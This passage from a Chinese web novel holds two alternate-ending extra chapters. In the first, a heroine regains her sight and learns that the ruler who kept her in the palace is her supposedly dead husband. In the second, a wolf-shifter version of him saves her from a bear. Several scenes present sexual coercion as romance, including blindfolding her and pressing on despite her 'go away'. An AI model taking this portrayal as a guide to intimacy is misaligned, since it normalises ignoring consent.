鹿微眠抱着小黑在屋子里溜达,看着周围的摆设。她摸了摸冰桶,曾经是以为夏末酷暑消散才不再闷热,不曾想过,是在她暑热昏厥过后,她屋子里摆了冰块。 承乾殿内,封行渊手里的文书许久都没有翻过一页。耳边似乎还是下人前来禀报,说她复明了。 这该是个好消息。 封行渊瞥了一眼自己手腕上每日都会换的包扎缠布。 对他们两个都是。最起码,他不用每日取血,她也能看见了。 封行渊轻啧一声,“啪”地一下合拢手里的文书,倚靠在旁边。可是他做的坏事也要被她知道了。 他也控制过自己不做坏事,可谁让他天生坏种。忍得住才是见鬼。 封行渊不想让她知道。他想让她一直以为他是个单纯良善的好人。哪怕以为他死了也好。 很烦。 封行渊第一次觉得他死了的处境比活着好。 他叫来凌一,“最近有没有什么需要我离京办的差事?” 凌一搜肠刮肚、绞尽脑汁地想了半天,得出了结论,“您可别走了,京中才刚刚安定下来,一堆事等着您处理呢,您这个时候走,这不等着天下大乱吗?”封行渊深吸了一口气,身子往后一靠。更烦了,"京中这些人,就不能自己把事情办好吗。"凌一偷偷嘀咕一句,“谁让您急着造反呢。” 封行渊没搭理凌一,沉默良久,又捡起文书,“那就说我最近忙于朝政,暂时抽不开身去见她。”凌一答应着退下。 封行渊手里的文书还是半个时辰都没翻过一页。 宫苑里,侍女前来叫鹿微眠用午膳。 鹿微眠答应着去花厅。她坐下一样很新奇地看过每一道菜式。每一样都很漂亮,是她会喜欢的类型。 这一顿饭吃得鹿微眠前所未有地开心。吃到一半下人前来告诉她,王上这几日都没空过来。鹿微眠更开心了。 她放松了不少,午膳过后抱着小黑在屋子里帮它做新的饰品。 侍女前来添茶水的时候,鹿微眠才想起来,“今日好像没有让我喝药。”以往都是每日午膳晚膳两次药。持续了月余,这突然不喝让她格外不适应。 侍女早早就去问过,“御医那边说,夫人眼下已经不需要喝药了。”鹿微眠串宝石的手停顿了下来,抬头看过去。侍女点头示意。所以那药其实是给她治眼睛的。鹿微眠没有想到。或许也是她没想到自己有一天还能看见。 鹿微眠敛眸,一旁小黑扒拉着一颗红宝石推到她面前,示意它想要这个。她按照它的意思捡起来串上,但仍然心不在焉地想着。那个人怎么对她这么上心。 上心得不像是他一时兴起把她抢来的。劫刑场,救她家人,还帮她复明。鹿微眠轻转了下手里的宝石,兴许……一时新鲜吧。 她也没有多想。反正没有什么比她复明更让她高兴的事情了。他这阵子没空来,她更加乐得自在。 鹿微眠如是想着,但高兴到入夜安寝,她才萌生出不安。她发现一旦复明之后,她就格外害怕四周再次陷入黑暗。 躺下安寝的半个时辰她五次睁眼。鹿微眠还是爬起来点了灯,能感觉到些许光亮,才能安心许多。 屋外侍女看见屋子里灯火再度亮起,疑惑地敲门进屋,以为是她有事吩咐,“夫人怎么了?” 鹿微眠听见有人进来,纠结了一会儿,还是诚实道,“我有点害怕,不然你来陪我睡吧。”侍女不敢应,她多看了一眼鹿微眠床边的位置。 鸾榻只有主子能躺,他们做下人的不能擅自上去,“夫人害怕什么?”鹿微眠踟蹰片刻,“怕黑。” 侍女坐在旁边,“奴婢在这里陪夫人,夫人别怕。”有人看着她睡和陪她睡的感觉还是不一样的。鹿微眠迟疑着问,“真的不能陪我睡吗?” 侍女被鹿微眠眼巴巴地看着,一时间不好拒绝,但也不敢答应,"夫人稍等。"她起身出了门。 灯火通明的宫殿之中,有人进来低声说了几句话。封行渊沉默片刻,应了一声,“知道了。” 许久之后,他还是起身离开。 鹿微眠独自一人在鸾榻上躺着,屋内光亮倒是有些安全感,但有光线的地方并不太适合睡觉。她依然睡得不太踏实。 不知过了多久,鹿微眠半梦半醒间听到有人进来,她下意识地以为是出去的侍女回来了。她没有动,只听着那人缓步朝着她的鸾榻走过来。 他在床榻灯盏边停下来,将灯火熄灭。这点光线变化惊动了鹿微眠,她正要转身去看来人,就被人从身后环住。 这力道熟悉。让鹿微眠一下子就想到了昨晚。 鹿微眠瞬间紧张起来,“你……”男人略低的声音从耳侧传来,“睡觉。” 鹿微眠被他拢在肩臂胸膛之中,脊背紧贴着那结实有力的肌肉,轻轻屏气,一时间也不敢有其他动作,生怕引起他做其他事情的兴趣。 不过看起来他是没有这方面的打算,当真只是来陪她睡觉。还是个有点良心的变态。 也不知是不是错觉,今晚他的话格外少。往日他来总是东拉西扯戏弄她一番,但今日安静许多。而且……他既然帮她复明,都不想看一看的吗? 鹿微眠反倒有点好奇。 她一时间睡意全无,等着一会儿他睡着了,自己偷偷看看这个恶贼长什么样子。但是她想多了,她自己没撑过两刻钟就陷入梦乡。 第二天一睁眼天色大亮,那人已经晨起离开。 鹿微眠有点遗憾。 不过对于恶贼的长相,她不算太好奇,又不喜欢他也对他不感兴趣,过了那股好奇劲就没有再想。 只不过他倒是每日深夜会来陪她睡觉。 清早就走。 鹿微眠通常点着灯先睡,灯光被他熄灭才会进入深睡。 如是过了一段时日,她才察觉到不对劲。她复明之后见过父母家人,京中朋友,唯独没有在白天见过他。他甚至都不做从前对她常做的坏事。 这个人收敛得有点……心虚? 鹿微眠不确定这样想是不是对的。也许是她高估了自己。 直到清秋降临,侍女闲来无事与她说御花园里的枫叶红如晚霞,甚是好看,要不要去看。鹿微眠复明之后,格外喜欢看各种各样美丽的事物,“好啊。” 她简单收拾了一番就出门。 御花园大概是被翻新过,园子里花木繁盛,秋日里别有一番景色,与从前很不一样。甚至看不出来这里经历过一场战乱。 花园里除了红透的枫叶,还开着大片的蓝雾花和粉绣球,花丛间偶有翩跹而落的蝴蝶。 鹿微眠被一只蓝色闪蝶吸引去了视线,跟着它走过大半个花园。 而此时御花园另一边,惜春御史引着封行渊往花园里走。封行渊随口问着,“引出蝴蝶了?有没有送到她院子里给她看看?” “待您看过没有问题,自然要送过去的。” 98、第98章if前世he·完... 花间蝶影摇晃,蓝色闪蝶隐匿在绣球花瓣中,一时销声匿迹。鹿微眠绕过花丛,裙摆沾染上清秋花露,带起花影震颤,香风拂面。 蓝色闪蝶抖了下翅膀,从花瓣中显露,再度出现在枝叶上。鹿微眠不自觉地放慢了脚步,手里的团扇轻点鼻尖,生怕呼吸惊动了它。她不动声色地靠近。 蝴蝶蓝色翅膀在日光下熠熠生辉,绚丽夺目,让人很难移开视线。 鹿微眠扇子扑过去还是慢了一步,蝴蝶翻飞而起,素素流光闪动,绕过她的团扇在空中打了个旋,带过一层光晕晃到了她的眼睛。 光晕消散的瞬间,一道熟悉的身影毫无预兆地从不远处花木丛林拐角出现! 鹿微眠眸光聚焦,整个人愣在原地!她一瞬间以为是自己又坠入了梦境,生出幻觉。 鹿微眠错愕地看着他,正巧他抬眸时对视。视线相触如惊雷过身,浑身汗毛直立! 而此时不远处封行渊脚步蓦的停住,心跳一滞,动作片刻的僵硬过后,掉头就走,“改日再看。”惜春御史还在忙着讲述御花园如今修缮的境况,看他要走很是疑惑,正要开口叫他,听到身后传来略显急促的脚步声。 以及一声探问,“封轸?” 封行渊故作平静地走回假山石壁之后,仿佛是她认错了人一般,所唤之人与他毫无关系。 但怎么可能没关系。 御花园中满是鹿微眠急促的脚步声,声声入耳,像是踩在了谁的心口,扯住了那根紧绷的心弦。 封行渊停在假山石壁后缓了片刻的神,瞳孔深处暗流翻卷,轻而易举地掀起惊涛骇浪。他明面上依然将那山呼海啸的情绪压抑干净,绕了一条小路快步离开。 鹿微眠赶到惜春御史处,他早已没了人影。她顺手抓过惜春御史,"方才那个是……" 惜春御史有点意外鹿微眠不认识他,还以为她是在开玩笑,“不是当朝王上吗?”毕竟他们私底下所有人都知道他们早就是夫妻。王上入宫就把夫人养在风水最好的长乐宫,日日照拂,怎么可能互相不认识。 只不过现在前朝事情没有处理妥帖,这位新掌权的王还没有正式行登基大典,改换称谓。但帝后册封也不过是迟早的事,大概是在等夫人的身体休养康复,好出席。 鹿微眠浑身鸡皮疙瘩直冒,又与她确认了一遍,"王上?" “是啊。” 怎么那么像他。 是认错了吗,还是只有长得有些相似,她想封轸想魔怔了。 鹿微眠松开抓握着惜春御史的手,回身缓慢踱了两步。脑海中电光火石间闪过那晚出现在她鸾帐旁边的人,以及那笼罩在她身上的人影。对她做那样的坏事,嘴里还时不时逼她承认对封轸的心思。 甚至每一次与她做亲密之事都要病态地提起他。 如果真的是封行渊的话……鹿微眠只是脑海中冒出这样一个念头,心脏就疯狂跳动着。那陌生的不安和头皮发麻的触感灼烧着她。 鹿微眠又停了下来,转头看向早已没了人影的小路。 假山石窟四周一片静谧,封行渊走在山石间,仍然心不在焉。那隐蔽狭窄暗不见天日的山石荫庇中他黑瞳光影明灭,大抵是在盘算着如何遮掩自己的坏心思。或许是想到了,封行渊很快思绪抽离,他看到了在假山层峦叠嶂的石块出口。 假山石窟出口处石洞稀疏,筛过层层日光暖阳,落在石壁上。封行渊步履沉缓走了过去。 未等踏出假山石窟,一片郁金雪青裙便拂过身侧石块,出现在了男人长靴面前! 封行渊眼帘低垂,脚步一停。 他看着那抹艳色裙角心口轻震,始终未曾抬眼,大概是不敢。 而鹿微眠就站在山石出口处,难以置信地看着眼前之人。她睫羽颤动,即便是有过心理准备,在切实地看见他时,还是恍惚很久,"是你?!" 无声地僵持与紧绷在空气中散开。四周静谧地只有风声。 封行渊深吸一口气,很快便平复了心绪。他那张清俊干净的面容在山石阴影处显得有些阴森诡秘,自言自语着,“怎么发现了呢。” 鹿微眠听到的刹那间尾椎过电,她咬唇,“你……” “你怎么,”鹿微眠舌头像是打了结,半天都没能接受,“是你,为什么不早说,你怎么能……”她上前两步追问,封行渊便后退两步。 他仿佛害怕她靠近,但面上却不露声色,坏得理直气壮,“早说?” “什么时候说?”封行渊看着她触碰到自己衣摆的裙角,整个人都置身于黑暗之中才抬眼看她,笑容乖戾,“是你刚害死我的时候说,还是刚得 到你的时候说啊?” 鹿微眠停住脚步,如鲠在喉,知道他是什么意思。他还活着,不代表他因她差点亡命的事情可以一笔勾销,在这件事上她是绝对的理亏。 “我是回来惩罚你的。你想听到什么?” “想听到我进宫第一日,就告诉你,被你害死的夫君好了伤疤忘了疼地回来找你了,帮你杀了仇人,又劫了囚,还像个……”癞皮狗一样缠着你。 后半句,封行渊没说出口。他才不是被人丢掉的小狗。 处于黑暗之中,恶念便容易滋长,封行渊就像是找到了自己舒适之处,见她没有欺近,就朝她走过去。鹿微眠下意识要躲,气焰此消彼长,“那你也不能装成别人……” 封行渊挑眉,“可我从前,就是我自己的时候,你也一样抗拒我。”他伸手略过她的脸颊,鹿微眠一下子浑身发酥,接连后退。 封行渊手悬在半空中,“看吧……”他突然笑了,“阿眠好像真的很喜欢被陌生人做一些坏事,不知道我是谁的时候,反而更配合。” 话说着说着,封行渊眼底乖戾的笑意就沾染上浓墨,黑得渗人。他是被自己的言语弄得生出了几分嫉妒。 很怪异地开始嫉妒自己伪装出来的那个陌生人。 鹿微眠觉得他有点像被拆穿心虚但呲牙的凶兽,“你别过来。” 封行渊瞥见她后退的小动作, “不是最想见到我吗?” 他上前一步,鹿微眠就后退两步。 “怕什么?” “我现在的确不想见……”鹿微眠话还没说完,敏锐地嗅到几分危险气息,掉头想要离开这个逼仄又仿佛困境一般的山洞。未等踏出一步,就被攥住手腕拉了回来,径直抵在石壁上。 熟悉的滚烫气息落在她唇间之前,鹿微眠惊慌失措地本能偏头一口咬在了他的脖颈上。一口见了血,是咬得很重。 但他纹丝不动,感觉不到疼痛一般还轻轻偏头,吻了下她的耳尖。 鹿微眠浑身过电,也不知道自己是怎么推开他跑出来的。只知道自己确认安全了之后,满脑子都是好吓人!好可怕! 那是个疯子。封轸怎么会变成一个疯子。 封行渊还留在原地,维持着被她推开靠在阴湿石壁上的姿势。身上也散出来几分阴湿气息。 封行渊敛眸,没有去追。 他发现他怕山石之外灿烂热烈的日光,也怕见到她璀璨明眸中的审视与问责。 好险,差点就被发现了。被发现,其实他只敢在阴暗之处与她对视,触碰她。是个一戳就破的纸老虎。 封行渊庆幸地想着,他就应该肆意地发坏。她又跑不掉。 可他也会想。万一真的跑掉了呢。 *鹿微眠没有在御花园多留,找到自己的侍女,马不停蹄地回了长乐宫。像是躲避什么人,避如洪水猛兽。 生怕他一个凶性大发,破开房门,将她拆吃入腹。可是仔细想来,眼下整个皇宫都是他的地盘,她即便是跑又能跑到哪里去。 鹿微眠冷静下来之后,缓了一口气。她说不清楚今日见到他是什么感觉。 惊喜意外如释重负到惶惶惊惧,酸涩幽怨转变得太快。她心口五味杂陈,整个人如同一团乱麻。 尤其是想到她这些时日每每当着他的面都要说,她想要他,她在意他,他是她的丈夫。鹿微眠手里的帕子扯出了褶皱。 忽然房门传来哐当哐当的声响,鹿微眠紧张起来,听着屋外侍女也没有阻拦这个企图进门的凶兽。下一瞬房门被打开。 鹿微眠惊而起身,径直听见“喵喵”两声。小黑翘着尾巴跑进来,嘴里咬着一团绣球花。 鹿微眠长松了一口气,“是你啊。”绣球花团比小猫脸都大,鹿微眠蹲下身接了过来,“你是想要这个做项链吗?”紧接着她感觉到绣球花里面什么东西动了一下。 接着一只蓝色闪蝶从团花之中抖了下翅膀,飞了出来。 鹿微眠愣住,一颗毛茸茸的脑袋蹭了蹭她的掌心。 她问,“你抓的?” 小猫哼哼唧唧地回答,不知道是不是。鹿微眠且当做是它抓的了,她把它抱起来放在桌子上,陪自己摆弄屋子里的瓶花。将那一枝绣球放进瓶花里。 它带进来的蝴蝶绕着瓶花飞旋,看起来赏心悦目。鹿微眠撑着下巴看着窗外花木发呆,小黑也趴在旁边扒拉掉落的花瓣。 她冷不丁开口,“你主人是被我气疯的吗?”鹿微眠还是不敢相信,从前在她面前温和良善的人,竟然是这些时日欺负她的那个…… 他还,还……鹿微眠脑海中迅速翻过从他破城第一日问她要不要跟他。再到后来,他硬闯进她的身体,一遍一遍地问,她心里想的是谁。 她每每回答封轸的时候,他都会更加用力。原来不是因为生气。 好过分。鹿微眠轻轻咬着指节。脸颊绯红,羞愤无比。 小黑哪里知道这么复杂的事情,小尾巴扫着鹿微眠的袖子。 鹿微眠反倒认真起来,“他从前也不……”好吧,说实话,鹿微眠觉得她也没太有资格提他从前。 他从前好好的时候,她的确对他冷淡又疏离。把人害死了顾念着他的好了,还要他不计前嫌,听起来也挺无礼。可是…… 鹿微眠憋了一口气,始终无法抒发出来。入了夜,她与小黑打商量,“今晚你陪我好不好?” 鹿微眠说着,还专程给它在鸾榻边搭了一个小窝。小黑自然不会拒绝。 鹿微眠小声道,“那能不能,如果有人进来抢你的位置,你就帮我挠他。”小黑眨了眨眼睛,认真地喵了一声。 “你答应我了,如果真来了,你不许跑啊。”它迈着小碎步,钻到小窝里,把尾巴收起来,一副已经认了窝绝对不会跑的架势。 鹿微眠心下不安,乃至往常应该就寝的时间还没有睡着。 然而,等屋外传来侍卫问好声时,小黑竖了竖耳朵没当回事。等反应过来是谁的时候,它一个激灵起身。 鹿微眠也跟着起身,警惕地看着门口。小黑转头看向鹿微眠,一人一猫对视的片刻,鹿微眠就看懂了它要做什么。反正不会是想要去挠他。 鹿微眠眼疾手快先一步抓住它,“你说了你不会走的。”小黑嘤咛着想跑出去,被鹿微眠圈在怀里,摁住脑袋。 封行渊进门就看到这么一幕。 屋内人察觉到他进来,一下子抱着猫缩进了床脚。 好像抱着那个只会喵喵喵的小东西,能做她的武器一样。 封行渊直勾勾地盯着她,缓步上前,“还没睡?” 鹿微眠没有接话。 随着他靠近,把自己缩得更紧,小小一团。 封行渊看着她怀里的猫。 小黑眼巴巴地迎上他的视线,似乎想要解释自己是被迫的。 但是很不巧,鹿微眠把猫抱在自己的胸前,所以从鹿微眠的视角来看,他那尖利的视线像是他在看她的……鹿微眠脊背沁出一层冷汗。 封行渊敛眸,"想它陪你,还是我陪?" 鹿微眠偷偷看了他一眼,"它。"封行渊扬眉,牢牢看着小黑,“那它愿意陪吗?” 小黑浑身上下的猫毛瞬间竖了起来,硬是从鹿微眠的怀里钻了出去,偷偷溜走。鹿微眠想抓,可不巧,小黑是越过封行渊跑走的。她倾身就靠近了他。 鹿微眠又缩了回去。 封行渊悠然道,“瞧瞧,还得是我陪才好。” 美人寝裙被那只小猫蹭得微微凌乱,一脸惊惧不安,像是看到了什么吃人的恶鬼。 这让封行渊想到今日,看见她在抓蝴蝶。怎么办,他也想抓。 可惜这只蝴蝶一碰仿佛就要飞走。 鹿微眠正担心着他接下来的动作,没想到屋内灯火被熄灭,她肩膀缩紧,看见黑暗处的人影躺在外侧,俨然一副要睡了的样子。 鹿微眠仗着四周黑暗,探着身子看了看他,当真没有要做什么的打算。过了一会儿,大概是坐累了,鹿微眠也磨磨蹭蹭地躺下。心口的疑虑和不安随着时间的推移渐渐被困倦掩埋,直至沉入梦境。 但夜色之下,一只猛虎正窥视着娇艳欲滴的春花。待春花毫无防备之际,拢于掌心,“又不想要我了吗?” 他沉着脸,鬼魅一般念着,“鹿微眠,说你还是想要我。” 她睡得沉了,没有回应。封行渊掐紧了她的腰,在她沉眠中时时蛊惑低喃。 因此鹿微眠总是做着封轸并没有活过来的梦。毫无疑问,这种梦里她都是在想他的。 醒过来之后,鹿微眠又觉得自己有病。每天晚上都想一个疯子,睁开眼睛真看到他又不敢再想。 如是过了许多时日,他们很少说话。但她跟封行渊的关系变得非常奇怪且微妙。 宫中会时常遣人给她这布置装点,说是年后准备册封大典,皇后宫殿要有个正经样子。 流水一样的珠宝华饰送进来,小黑每日都能咬着各种各样的花,引来许多小蝴蝶。只要他不发疯,她的日子也算乐得自在。 不过说起来,他好像变得正常了。鹿微眠算着日子,自打她发现之后,他就没有再像是从前一样发病欺负她。仿佛回到了没出事之前,他们做着井水不犯河水的夫妻。 朝中官员更迭,重振朝纲过后,官员女眷第一次入宫觐见。朝中多了许多西陵官员,同样也多了西陵女眷。 鹿微眠坐于高位之上,与几位高官女眷闲聊。 一位西陵官眷打量起鹿微眠的首饰,不由得感叹道,“陛下与娘娘感情甚笃,令吾等艳羡。” 鹿微眠抿唇,“也就那样吧。” 那西陵官眷眼皮跳了一下,又重新看了一遍鹿微眠浑身上下的宝石。 她迟疑良久,勉强说服自己是这位皇后娘娘并不知道西陵人的风俗,身上宝石代表身份地位。陛下这看起来是把能装点在她身上的宝石都放上去了,“娘娘谦谨。” 鹿微眠只当她们是客气。 殿外,封行渊拿着新取来的蝴蝶罐子恰好路过,就停在了原地。脑海中反复回荡着鹿微眠那句,“也就那样吧”。 他默不作声地离开。 鹿微眠在外面玩了半日,回到长乐宫。 宫苑之中的蝴蝶又多了许多,看起来让人心情颇好,仿佛她这里就是一个世外仙境。 鹿微眠在院子里流连许久,直到晚霞铺开日暮降临才不得不回去,她正高兴着,进门看见坐在屋子里的人,瞬间收敛了笑容。 封行渊将她情绪变化尽收眼底,仍然撑着额角,翻看着手里的书卷。装作在处理公务。 鹿微眠犹豫着问,“你怎么在这里啊?” 封行渊眉眼微动,敲了一下旁边小猫的脑袋,“它非要我来。”小黑扭过脑袋:“?” 封行渊把它脑袋转回去,“不来就撒泼打滚。” 小黑:…" 鹿微眠将信将疑,但怀疑成分居多。 封行渊又翻过一页文书,抬眼看她,“还是说你想见我,不好意思直说,哄它骗我过来。” 鹿微眠:"?"她结结巴巴道,“你你,你不要,血口喷人。” 说想见他就是血口喷人了。封行渊敛眸,没有继续问,心底更沉几分。 很烦。他最近不就跟从前一样装得人模狗样吗。之前她念着要这样的夫君,现在她又不喜欢这样的了? 屋内的气氛变得很是诡异。封行渊在这里,肯定要一同用晚膳。这顿饭吃得也寂静无声,没有人说话。 鹿微眠见他始终没有要走的意思,接受了他今晚一晚都打算在她这里的事实。 怎么说呢。有些无聊。 鹿微眠眼下已经习惯了与他同床共枕,没有了刚开始的拘谨不安。为了避免正面交流,鹿微眠选择先沐浴就寝,拉上鸾榻纱帐和外面的人隔绝开来。 封行渊在她拉上鸾帐的那一瞬间抬眼。幽深黑瞳晦暗不明,看着鸾帐内的倩影晃动。 鹿微眠自顾自的找了个舒服的姿势躺下准备睡觉。可惜不巧,她又梦见他死了。 没有其他,只是得知了他的死讯。 鹿微眠哭着从睡梦中醒来,有意识时发现自己还念着他的名字。自己早已在不知不觉的时候钻到了男人的怀里,寻求在梦中消散殆尽的安全感。 封行渊在她叫自己的瞬间睁开眼睛。 鹿微眠意识到自己在做什么时,抬眼撞进他的血色异瞳。那是一双带着兽性的眼睛。 鹿微眠止住哭腔,意识回笼,那想靠近又惧怕的挣扎思维再度裹挟拉扯着她,像是要将她拆成两半。 他也是。 封行渊手指蹭过她眼角泪痕,“梦见谁了?”他嗓音略低,萦绕在她耳侧在极端悲痛的梦境之后,像是悦耳的清泉,“没谁。” 黑暗中的男人沉默了片刻,“没有谁怎么喊着我的名字,哭得这么可怜。”鹿微眠想蒙混过关,“你听错了。” 封行渊沉吟着,仿佛瞬间被引燃,长久没有得到解决的欲念积攒到了临界,扣住她的腰身,将人压覆在身下。鹿微眠彻底清醒,手指撑住他的胸膛,但却不能撼动他分毫。 她的寝衣领口松散开,很快就被男人的气息覆盖,□o,“我是又血口喷人了?”梦境中带来的空荡被男人的攻击性填满,“还是我们之间,也就那样吧。” “鹿微眠,你要承认,你想要我。” 鹿微眠没吭声,被他手上动作带得气息微乱。 没有得到回应。 封行渊干脆利落甚至有些粗暴地将她寝裙衣带抽开,径直绑在了她的眼睛上,“阿眠真的有点,喜欢被欺负才肯说实话。” 他为自己的恶行开脱,“是你自己要被欺负的,不能怪我。” “我再问你一次,要我还是要他。” 四周一片黑暗,那久违的熟悉感再度涌上来。鹿微眠浑身战栗,仿佛又回到了她失明之后,被另一个男人逼迫着承认她在意她亡故的丈夫,“你走开。”他得到了满意的答案,不遗余力地将她完全侵占,“那就是要他了。” 鹿微眠溢出些许难以承受的呜咽。但他的存在感遍布了她全身的感知。 “你就那么喜欢他啊。”他越说越重,“有多喜欢,告诉我。” “鹿微眠,说话。” 鹿微眠所有的话都被碾碎,他分明是故意的。 他自己继续回答,“是不是特别喜欢他,忘不了他。”“特别害怕他死,害怕他再也回不来?” “告诉我。” 鹿微眠被他拆开揉碎,仿佛整个人都揉进他的身体里。她神魂颠倒意识模糊地感觉自己要融化成水,又被人尽数包裹。 耳边满是鬼魅一样的逼问,是不是喜欢他,是不是在意他,是不是想要他。 夜色绵长又长久地看不到终点。屋外星光点点在鹿微眠眼底晃出虚影。 他真的是个有病的疯子。前段时间她以为回到了从前都是假的。 他像是要将那些隐忍克制尽数讨回来一样地攻占讨伐一切。 一遍又一遍。在听到他想要的答案之前,永远不知疲倦,只会越来越狠。每一次都颠覆推翻着从前的伪装,显露出最凶恶的一面。 鹿微眠在身体失去控制时,被迫承认着一切。最终又在混沌中听到他嘶哑低喃,“鹿微眠,我很不想让你知道。”“如果只有我死了能让你在意,我会真的想死。” 开春册封大典过后,民间庆典三日。民间偶有大胆之人,拍板说书当朝帝后之事,“所以,当今帝后是因仇结缘,表面夫妻,貌合神离。”惹得殿堂下一阵哗然,“那日后怎么办?” “还能怎么办,凑合过呗。” 然而多年后,世人皆知,那阴戾冷情的暴君唯他的小皇后马首是瞻。 一前世he番外完一 99、第99章if他是狼... 茂密树林被寒寒窣窣的山风灌入充斥。长风刮过锋利的枝叶树梢,风声瞬间变得尖利刺耳。 树影将清寒月色打乱,忽隐忽现地映照在山林中惊慌失措地少女身上。 鹿微眠也不知道自己跑到哪里去了。 她从围猎队伍中走散后,原本放了红烟,乖乖地在原地等着家里人来找她,却先等来了一头饥饿的黑熊。 鹿微眠跌跌撞撞地逃离。 脚下踩踏枯枝败叶发出的破败声响与身后张狂凶恶的猛兽咆哮声混合在一起,令人心悸。而那头黑熊全然锁定了这只新鲜的猎物,一双眼睛放出兴奋的光,穷追不舍。 一个女孩子的体力完全不能跟山林里的猛兽相提并论。 鹿微眠能感觉到自己身上的气力一点点流逝,连呼吸都变得急促不堪,出气多进气少。她甚至能听到身后那不属于人类的繁重脚步声越来越清晰,越来越近。 黑熊踩踏丛林草木的力道仿佛都能顺着土壤发出震动,让她身形不稳。 这山林静谧得人迹罕至,丝毫没有人的影子。更不会有人来帮她,或许在密林深处,早早就有不少凶兽蛰伏着,观察到了山林里发生的一切,静静地看着。 山林规则,弱肉强食。 衡量自己与黑熊的实力并不相当的兽类潜藏在暗处,等待黑熊放弃这只小猎物,自己再扑上去享用一番。 鹿微眠只觉得这座森林像是活的,周身仿佛无数只眼睛在盯着她,随着她深入丛林,四周的活物感就愈发强烈,一草一木都要将她缠绕束缚一般,禁锢在这里,永远也无法逃离。 鹿微眠不知不觉中闯入了一片浓雾之中。她鼻息间沾染上浓雾潮湿的水汽。 鹿微眠跑着跑着,越来越重的眩晕感充斥着她的脑海,令她双脚发沉,气力尽失。连耳边传来的猛兽脚步声都虚晃打散,震动声弥漫开来,像是从四面八方朝她逼近。 不巧,鹿微眠一个不察,被脚下一块石头绊倒,整个人跌倒在地!那眩晕感更重。 山间冷风吹过,激得鹿微眠起了一层鸡皮疙瘩。黑熊的脚步也跟着放慢,心知眼前的小猎物再也不可能逃掉,便得意地缓步上前。 鹿微眠艰难地撑起身子,恍惚中意识到。这是山间瘴气! 她微微屏气,但根本无济于事。 黑熊破开浓雾,看见摔在地上的小姑娘,突然间长开血盆大口朝着她扑了过去! 鹿微眠瘴气侵体根本起不来,转头看到那双骤然暴露出凶性的眼睛在浓雾之中爆发出幽冷的暗黄色光芒,尖利的牙齿凶性十足!她无助地挪着身子,可身上的乏力感更重。 在黑熊扑上来的瞬间惊恐地闭上了眼睛。鹿微眠双手攥紧地上的杂草,却没有感觉到预想中被啃噬的疼痛。 猛兽嘶吼声伴随着尖锐高昂的长啸瞬间撕破了山林中寂静的表象!鹿微眠想要睁开眼睛,身体力气却根本支撑不住。 她被瘴气侵蚀地昏昏沉沉,朦胧间看到了一道模糊的深灰色影子从她身侧越过,径直咬上了黑熊的喉管! 鹿微眠在周身满是撕咬声与怒吼声中昏迷过去。四下蛰伏的猛兽趁机钻了出来,朝着地上昏迷的女孩跑了过去。 它们刚按住女孩的身子,一回头就看见了那只咬着黑熊头颅的恶狼朝着它们走了过来。 恶狼将黑熊的头随意一甩,竖瞳中噙着毫不遮掩的杀意。众猛兽纷纷撤离,松开了按住鹿微眠的爪子。 瘴气于第二日日出过后消散。鹿微眠迷迷糊糊间被灌以清苦的草药汁水,毫无防备地咳了两下,意识恢复些许。她感觉到山洞内温暖潮湿,而自己靠在结实有力的臂膀之中,一只手握着她的下颚,继续灌药。 鹿微眠本能排斥这浓重的苦药味,手上无力地推搡,却意外抓到了什么毛茸茸的东西。柔软又温暖。 鹿微眠多捏了一下,那东西便自己脱离了她的手。她没有想太多,很快又昏了过去。 然而,被捏了尾巴的少年灰白狼耳微微泛红。他手上灌药的动作停滞些许,不动声色地将自己的狼性特征收敛起来,避免让她再碰到尾巴。 少年做好这一切,回神见她又昏了过去,索性将药放在了旁边,打量着少女睡颜。 好漂亮的小雌性。 封行渊还维持着握住她脸颊的姿势,报复性地捏了一下。少女玉质的脸颊肌肤很快被捏出一层红润指痕。看上去,有点好咬。 少年喉结轻滚。 恰好这时,山洞外传来声响。封行渊只能收回手,将鹿微眠放在一旁盖上熊皮毯。 “少主。”进来的人朝封行渊行礼示意,还是忍不住朝着鹿微眠的方向看过去。来人偷偷看了两眼,收回视线正巧碰上封行渊审视性的幽冷眸光。 那人心虚地转了下眼睛,谄媚地笑道,“恭喜少主,捕获一只雌性。” 他们身处于虚空谷中,这里多年前灵气自地下外溢,生灵开化,百兽皆可化为人形。唯独雌性稀缺,雌性生物是这里所有生灵都相互争抢的目标。 如今大多数族群因为雌性少,便奉行着一雌多雄的规则,除非非常强大的族群之王能拥有自己的伴侣。但这对于狼族来说有些困难,狼族是严格的一夫一妻制,以忠诚为信条,因此谁能得到雌性伴侣,无疑是众人艳羡或嫉妒的对象。 人类是他们最喜欢的。人类女子寓意着更加文明开化,而且大多数族群都可以做伴侣。 昨天晚上这个小姑娘一跑进来,大家几乎第一时间察觉到了她的气息。想要成为她的伴侣。 进来的人想着想着,不由得偷瞄鹿微眠咽了咽口水,“那只外来的黑熊真是尚未开化,只求裹腹之欲,当真是不知道这雌性的好处,还好少主出手及时。”封行渊并不搭理他的阿谀奉承,“何事?” 雷焱被堵住奉承言辞,讪讪道,“隔壁虎族得知我们捡到一个小雌性,前来闹事,要叫您出去。” 兽人即便与寻常野兽相比,难免无法摆脱兽性。丛林之间争抢伴侣,就是打架。 能力更好的兽人,才有资格拥有更好的伴侣。封行渊应了一声,起身准备离开山洞。雷焱稍显激动地问,“少主,那属下帮您看着她。” 封行渊没吭声,抬手之际,四周藤蔓疯狂生长蔓延,将整个山洞洞口包裹得严严实实。“正好想给她做个虎皮裙,”他幽冷兽瞳扫向雷焱,打量着他,笑容寒戾,“不过你身上的皮毛,也很适合剥下来,给她做毯子。” 雷焱打了个寒颤,立马收声。封行渊慢条斯理地勾唇,一句一顿道,"乖一点,跟我走。"“让我发现你慢了一步,我先抽了你的筋骨示众。” 雷焱霎时不敢说话,乖乖地跟了上去。 鹿微眠身体解毒耗费了很长时间,直至入夜夜深。半梦半醒间,她听到山洞里再度传来寒寒窣窣的声音,封行渊打架回来沾了一身血迹,不过都是别人的。他不紧不慢地将自己身上的鲜血清理干净,转头看见那小雌性还在睡觉。 封行渊走了过去,仔细欣赏了一番这个小漂亮。而后以狼族习性,将她拢在怀里,让她枕着自己睡觉。 周身那毛茸茸的触感再度袭来,鹿微眠被包裹住,簇拥取暖。她也不知自己是什么时辰醒过来的,睁开眼睛还有些头疼。 鹿微眠试图撑起身子,一伸手又摸到了一团绒毛。 那绒毛甚至还动了动,鹿微眠清醒过来,抬眼与一双被吵醒的幽冷兽瞳对视片刻。 这是……狼! 一瞬间的惊恐让鹿微眠忘记了尖叫,屏气凝神慌忙后挪着身子。这只狼似乎比她以往所知的狼体型大上许多。 